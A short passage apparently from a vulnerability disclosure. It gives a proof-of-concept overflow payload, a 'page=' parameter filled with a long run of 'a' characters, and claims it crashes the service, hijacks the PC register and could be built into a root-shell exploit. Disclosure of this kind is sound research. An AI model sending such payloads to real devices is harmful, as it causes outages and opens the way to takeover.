    page=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

Tag

#mac